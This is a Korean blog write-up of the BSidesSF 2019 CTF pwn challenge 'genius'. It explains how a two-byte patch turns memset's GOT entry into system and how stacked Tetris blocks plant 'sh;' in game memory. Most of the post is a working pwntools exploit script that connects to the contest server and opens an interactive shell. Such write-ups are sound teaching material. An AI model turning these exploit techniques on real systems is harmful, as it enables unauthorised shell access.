2019 besidesSF genius
바이너리는 loader
와 genius
두 개의 바이너리가 주어졌다.
loader
는 genius
를 로드한 후, 코드를 입력받고 게임을 실행시켜주고 genius
는 테트리스 바이너리이다.
loader
부분을 분석해 보면 테트리스 게임에 불필요한 부분이 바로 보이는데 코드 패치 부분이다.
코드를 입력받고 apply_patch
함수를 부른다.
패치는 총 두 번(2 byte) 할 수 있다.
apply_patch
함수를 살펴보자.
우리가 입력한 코드를 통해 b1, b2, b3, b4, b5, b6
가 결정되고 이는 idx
와 val
계산에 사용된다.
match
함수는 str to int
함수이다. 코드를 숫자로 매칭시킨다.
여기서 우리가 원하는 idx
와 val
값을 만들기 위한 code
를 알아내야 한다.
이는 역연산을 통해 알아낼 수 있다.
idx(2byte)
와 val(1byte)
의 bitmap
을 살펴보면
xxxxxxxxxx
idx
0 b4 b4 b4 b5 b6 b6 b6 b2 b3 b3 b3 b4 b5 b5 b5
val
b1 b2 b2 b2 b6 b1 b1 b1
위와 같이 비트가 분포하여 있다.
이를 이용하여 역연산 코드를 짜면
match = {
0: 'A',
8: 'E',
4: 'G',
5: 'I',
12: 'K',
3: 'L',
15: 'N',
9: 'O',
1: 'P',
13: 'S',
6: 'T',
11: 'U',
14: 'V',
10: 'X',
7: 'Y',
2: 'Z'
}
dump = '''
idx
0 b4 b4 b4 b5 b6 b6 b6 b2 b3 b3 b3 b4 b5 b5 b5
val
b1 b2 b2 b2 b6 b1 b1 b1
'''
def gen_code(idx, val):
b1 = ((val & 0b10000000) >> 4) | (val & 0b111)
b2 = ((idx & 0b10000000) >> 4) | ((val & 0b1110000) >> 4)
b3 = (idx & 0b1110000) >> 4
b4 = ((idx & 0b111000000000000) >> 12) | (idx & 0b1000)
b5 = (idx & 0b100000000000) >> 8 | (idx & 0b111)
b6 = (idx & 0b11100000000) >> 8 | (val & 0b1000)
return match[b1] + match[b2] + match[b3] + match[b4] + match[b5] + match[b6]
위와 같이 된다.
이제 genius
바이너리의 어느 부분을 패치하냐인데..
처음에 system_got
의 주소와 game_obj
의 주소를 준다.
마지막에 게임이 끝났을 때 memset
을 game_obj
인자를 가지고 실행하는데, memset
의 뒤 1바이트를 바꾸면 system
함수로 바꿀 수 있다.
이 상황에선 game_obj
의 값을 sh;
로 만들어주면 쉘이 따일 것이다.
game_obj
는 디버깅해보면 game_map
을 나타낸다는 것을 쉽게 알 수 있다.
여기에 어떻게 sh;
를 포함하게 하냐인데..
gdb
를 통해 확인해 보면 위와 같이 블록이 배치되어 있으면 sh;
가 셋팅된다.
system
함수를 성공적으로 만들었으면 이제 게임을 즐기며 저러한 형태의 블록을 만들고 쉘을 따면 된다.
대회 때는 sh;
를 못만들어 못풀었어서, sh;
를 만드는 코드는 https://github.com/merrychap/ctf-writeups/tree/master/2019/BSidesSF%202019%20CTF/genius 여기를 참조했다.
테트리스 못하면 문제도 못푸네 ㅠㅠ!!
from pwn import *
context.log_level= 'debug'
e = ELF('loader')
s = connect('genius-0a835449.challenges.bsidessf.net', 1338)
#s = process(e.path)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
match = {
0: 'A',
8: 'E',
4: 'G',
5: 'I',
12: 'K',
3: 'L',
15: 'N',
9: 'O',
1: 'P',
13: 'S',
6: 'T',
11: 'U',
14: 'V',
10: 'X',
7: 'Y',
2: 'Z'
}
dump = '''
idx
0 b4 b4 b4 b5 b6 b6 b6 b2 b3 b3 b3 b4 b5 b5 b5
val
b1 b2 b2 b2 b6 b1 b1 b1
'''
def gen_code(idx, val):
b1 = ((val & 0b10000000) >> 4) | (val & 0b111)
b2 = ((idx & 0b10000000) >> 4) | ((val & 0b1110000) >> 4)
b3 = (idx & 0b1110000) >> 4
b4 = ((idx & 0b111000000000000) >> 12) | (idx & 0b1000)
b5 = (idx & 0b100000000000) >> 8 | (idx & 0b111)
b6 = (idx & 0b11100000000) >> 8 | (val & 0b1000)
return match[b1] + match[b2] + match[b3] + match[b4] + match[b5] + match[b6]
code_1 = gen_code(0x1551, 0x8b)
code_2 = gen_code(0x154c, 0xab)
log.info('code1: {}'.format(code_1))
log.info('code2: {}'.format(code_2))
sla('continue!\n\n', code_1)
p()
sla('<enter>\n', code_2)
s.recvuntil('+----------+')
s.recvuntil('+----------+')
##
##
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
#
##
#
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
#
###
s.sendline('a')
s.sendline('a')
s.sendline('a')
s.sendline('a')
s.sendline('a')
s.sendline('a')
s.sendline('a')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
#
###
s.sendline('e')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
##
##
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
#
##
#
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
#
##
#
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
#
###
s.sendline('q')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
##
##
s.sendline('d')
s.sendline('d')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
#
##
#
s.sendline('a')
s.sendline('a')
s.sendline('a')
s.sendline('a')
s.sendline('a')
s.sendline('a')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
#
###
s.sendline('e')
s.sendline('a')
s.sendline('a')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
#
###
s.sendline('e')
s.sendline('d')
s.sendline('d')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
#
###
s.sendline('q')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
#
##
#
s.sendline('d')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
#
###
s.sendline('q')
s.sendline('a')
s.sendline('a')
s.sendline('a')
s.sendline('a')
s.sendline('a')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
####
s.sendline('q')
s.sendline('d')
s.sendline('d')
# s.sendline('s')
for i in range(13):
s.recvuntil('+----------+')
s.recvuntil('+----------+')
s.sendline('d')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
#
##
#
s.sendline('d')
s.sendline('d')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
##
##
s.sendline('a')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
#
###
s.sendline('q')
s.sendline('q')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
#
###
s.sendline('d')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
#
##
#
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
####
s.sendline('q')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
#
###
s.sendline('e')
s.sendline('e')
s.sendline('a')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
#
###
s.sendline('e')
s.sendline('d')
s.sendline('d')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
#
###
s.sendline('q')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('d')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
#
###
s.sendline('a')
s.sendline('a')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
#
###
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
#
###
s.sendline('a')
s.sendline('a')
s.sendline('a')
s.sendline('a')
s.sendline('q')
s.sendline('a')
s.sendline('a')
for i in range(8):
s.recvuntil('+----------+')
s.recvuntil('+----------+')
s.sendline('d')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
s.sendline('s')
s.recvuntil('+----------+')
s.recvuntil('+----------+')
io()
'system > writeup' 카테고리의 다른 글
2019 utctf jendy's (0) | 2019.03.17 |
---|---|
2019 besidesSF slowfire (0) | 2019.03.16 |
2019 besidesSF straw-clutcher (0) | 2019.03.15 |
2019 aeroctf remote_storage (0) | 2019.03.14 |
2016 seccon jmper (0) | 2019.03.13 |